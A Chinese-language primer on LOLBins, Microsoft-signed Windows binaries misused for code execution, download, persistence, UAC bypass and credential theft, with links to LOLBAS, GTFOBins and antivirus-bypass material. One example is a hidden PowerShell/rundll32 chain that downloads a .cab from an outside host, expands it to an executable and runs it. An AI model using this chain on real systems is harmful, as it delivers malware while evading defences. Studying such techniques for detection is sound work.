简介

https://lolbas-project.github.io/

https://github.com/LOLBAS-Project/LOLBAS/blob/master/README.md

”Living off the land“这个词是由 Christopher Campbell (@obscuresec) 和 Matt Graeber (@mattifestation) 在DerbyCon 3上创造的。LOLBins 一词来自 Twitter 上关于什么叫做二进制文件的讨论，攻击者可以使用这些二进制文件来执行超出其原始目的的操作。Philip Goh (@MathCasualty)提出了 LOLBins。随后进行了一项高度科学的互联网民意调查，并在达成普遍共识（69％）后，该名称被正式命名。Jimmy (@bohops)跟进了 LOLScripts。没有进行民意调查。

这些文件的常见主题标签是：

• #LOLBin
• #LOLBins
• #LOLScript
• #LOLScripts
• #LOLLib
• #LOLLibs

LOLBin是翻译为“生活在陆地上的文件”，就是利用白名单文件执行恶意功能。

LOLBin/Lib/脚本必须符合以下要求

1.  Microsoft 签名的文件，可以是操作系统的本机文件，也可以是从 Microsoft 下载的文件

2. 具有额外的“意外”功能。例如白名单绕过

3. 具有对APT或红队有用的功能

有趣的功能可以包括

执行代码

• 任意代码执行
• 传递执行其他程序（未签名）或脚本（通过 LOLBin）

编译代码

文件操作

• 下载
• 上传
• 复制

持久性

• 利用现有 LOLBin 的达到持久性
• 持久性（例如在 ADS 中隐藏数据，登录时执行）

UAC绕过

凭证盗窃

转储进程内存

监视（例如键盘记录器、网络跟踪）

日志规避/修改

DLL 侧加载/劫持而不被重新定位到文件系统中的其他位置。

GTFOBins

这是同类的Unix二进制列表

LOLBin列表

https://github.com/TideSec/BypassAntiVirus  有文章逐一分析过

https://www.yuque.com/tidesec/bypassav

实例

pcwutl.dll

例1：Start-Process $cmd -windowstyle hidden -ArgumentList “/c rundll32.exe pcwutl.dll,LaunchApplication $cmd”;$cmd = “c:\windows\system32\cmd.exe”;Start-Process $cmd -windowstyle hidden -ArgumentList “/c taskkill /f /im msdt.exe”;Start-Process $cmd -windowstyle hidden -ArgumentList “/c cd C:\users\public\&&powershell iwr -uri https://exchange.oufca.com.au/aspnet_client/test.cab -o test.cab&&expand test.cab abc.exe&&abc.exe”;

例2：rundll32.exe C:\Windows\System32\pcwutl.dll,LaunchApplication calc.exe